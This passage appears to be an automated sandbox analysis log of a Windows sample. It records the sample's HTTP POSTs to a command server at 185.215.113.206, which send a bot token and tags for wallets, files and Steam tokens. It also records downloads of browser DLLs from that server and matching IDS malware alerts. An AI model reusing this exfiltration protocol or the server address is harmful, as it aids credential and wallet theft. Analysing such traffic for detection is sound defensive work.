45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 2d 2d 0d 0a Data Ascii: ------BFIJKEBFBFHIJJKEHDHIContent-Disposition: form-data; name="token"f410182136e1dfa98ce46c930af5a6421fda45e9dcdb2ea73e56f8f5f45ecd97a5b02d7c------BFIJKEBFBFHIJJKEHDHIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BFIJKEBFBFHIJJKEHDHIContent-Disposition: form-data; name="file"------BFIJKEBFBFHIJJKEHDHI--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHIJDHCAKKFCBGCBAAECHost: 185.215.113.206Content-Length: 7011Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJJDBAEHIJKJKEBFIEGHHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4a 44 42 41 45 48 49 4a 4b 4a 4b 45 42 46 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 34 31 30 31 38 32 31 33 36 65 31 64 66 61 39 38 63 65 34 36 63 39 33 30 61 66 35 61 36 34 32 31 66 64 61 34 35 65 39 64 63 64 62 32 65 61 37 33 65 35 36 66 38 66 35 66 34 35 65 63 64 39 37 61 35 62 30 32 64 37 63 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 44 42 41 45 48 49 4a 4b 4a 4b 45 42 46 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 44 42 41 45 48 49 4a 4b 4a 4b 45 42 46 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 44 42 41 45 48 49 4a 4b 4a 4b 45 42 46 49 45 47 48 2d 2d 0d 0a Data Ascii: ------IJJDBAEHIJKJKEBFIEGHContent-Disposition: form-data; name="token"f410182136e1dfa98ce46c930af5a6421fda45e9dcdb2ea73e56f8f5f45ecd97a5b02d7c------IJJDBAEHIJKJKEBFIEGHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IJJDBAEHIJKJKEBFIEGHContent-Disposition: form-data; name="file"------IJJDBAEHIJKJKEBFIEGH--
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKFCAFCFBAEHIDHJDBGCHost: 185.215.113.206Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCGIJDBAFCBAAKECGDGCHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 44 42 41 46 43 42 41 41 4b 45 43 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 34 31 30 31 38 32 31 33 36 65 31 64 66 61 39 38 63 65 34 36 63 39 33 30 61 66 35 61 36 34 32 31 66 64 61 34 35 65 39 64 63 64 62 32 65 61 37 33 65 35 36 66 38 66 35 66 34 35 65 63 64 39 37 61 35 62 30 32 64 37 63 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 44 42 41 46 43 42 41 41 4b 45 43 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 44 42 41 46 43 42 41 41 4b 45 43 47 44 47 43 2d 2d 0d 0a Data Ascii: ------FCGIJDBAFCBAAKECGDGCContent-Disposition: form-data; name="token"f410182136e1dfa98ce46c930af5a6421fda45e9dcdb2ea73e56f8f5f45ecd97a5b02d7c------FCGIJDBAFCBAAKECGDGCContent-Disposition: form-data; name="message"wallets------FCGIJDBAFCBAAKECGDGC--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBGIIDBKEBFBGCAEBAKHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 47 49 49 44 42 4b 45 42 46 42 47 43 41 45 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 34 31 30 31 38 32 31 33 36 65 31 64 66 61 39 38 63 65 34 36 63 39 33 30 61 66 35 61 36 34 32 31 66 64 61 34 35 65 39 64 63 64 62 32 65 61 37 33 65 35 36 66 38 66 35 66 34 35 65 63 64 39 37 61 35 62 30 32 64 37 63 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 47 49 49 44 42 4b 45 42 46 42 47 43 41 45 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 47 49 49 44 42 4b 45 42 46 42 47 43 41 45 42 41 4b 2d 2d 0d 0a Data Ascii: ------JEBGIIDBKEBFBGCAEBAKContent-Disposition: form-data; name="token"f410182136e1dfa98ce46c930af5a6421fda45e9dcdb2ea73e56f8f5f45ecd97a5b02d7c------JEBGIIDBKEBFBGCAEBAKContent-Disposition: form-data; name="message"files------JEBGIIDBKEBFBGCAEBAK--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGCBAFCFIJJJECBGIIJKHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 34 31 30 31 38 32 31 33 36 65 31 64 66 61 39 38 63 65 34 36 63 39 33 30 61 66 35 61 36 34 32 31 66 64 61 34 35 65 39 64 63 64 62 32 65 61 37 33 65 35 36 66 38 66 35 66 34 35 65 63 64 39 37 61 35 62 30 32 64 37 63 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 2d 2d 0d 0a Data Ascii: ------EGCBAFCFIJJJECBGIIJKContent-Disposition: form-data; name="token"f410182136e1dfa98ce46c930af5a6421fda45e9dcdb2ea73e56f8f5f45ecd97a5b02d7c------EGCBAFCFIJJJECBGIIJKContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------EGCBAFCFIJJJECBGIIJKContent-Disposition: form-data; name="file"------EGCBAFCFIJJJECBGIIJK--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBGCBGCAFIIECBFIDHIJHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 34 31 30 31 38 32 31 33 36 65 31 64 66 61 39 38 63 65 34 36 63 39 33 30 61 66 35 61 36 34 32 31 66 64 61 34 35 65 39 64 63 64 62 32 65 61 37 33 65 35 36 66 38 66 35 66 34 35 65 63 64 39 37 61 35 62 30 32 64 37 63 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 2d 2d 0d 0a Data Ascii: ------CBGCBGCAFIIECBFIDHIJContent-Disposition: form-data; name="token"f410182136e1dfa98ce46c930af5a6421fda45e9dcdb2ea73e56f8f5f45ecd97a5b02d7c------CBGCBGCAFIIECBFIDHIJContent-Disposition: form-data; name="message"ybncbhylepme------CBGCBGCAFIIECBFIDHIJ--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFBFBFIIJDAKECAKKJEHHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 42 46 42 46 49 49 4a 44 41 4b 45 43 41 4b 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 34 31 30 31 38 32 31 33 36 65 31 64 66 61 39 38 63 65 34 36 63 39 33 30 61 66 35 61 36 34 32 31 66 64 61 34 35 65 39 64 63 64 62 32 65 61 37 33 65 35 36 66 38 66 35 66 34 35 65 63 64 39 37 61 35 62 30 32 64 37 63 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 46 42 46 49 49 4a 44 41 4b 45 43 41 4b 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 46 42 46 49 49 4a 44 41 4b 45 43 41 4b 4b 4a 45 48 2d 2d 0d 0a Data Ascii: ------BFBFBFIIJDAKECAKKJEHContent-Disposition: form-data; name="token"f410182136e1dfa98ce46c930af5a6421fda45e9dcdb2ea73e56f8f5f45ecd97a5b02d7c------BFBFBFIIJDAKECAKKJEHContent-Disposition: form-data; name="message"wkkjqaiaxkhb------BFBFBFIIJDAKECAKKJEH--

Source: Joe Sandbox View	IP Address: 13.107.246.45 13.107.246.45
Source: Joe Sandbox View	IP Address: 152.195.19.97 152.195.19.97

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49710 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49967 -> 185.215.113.206:80

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB3CC60 PR_Recv,

0_2_6CB3CC60

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
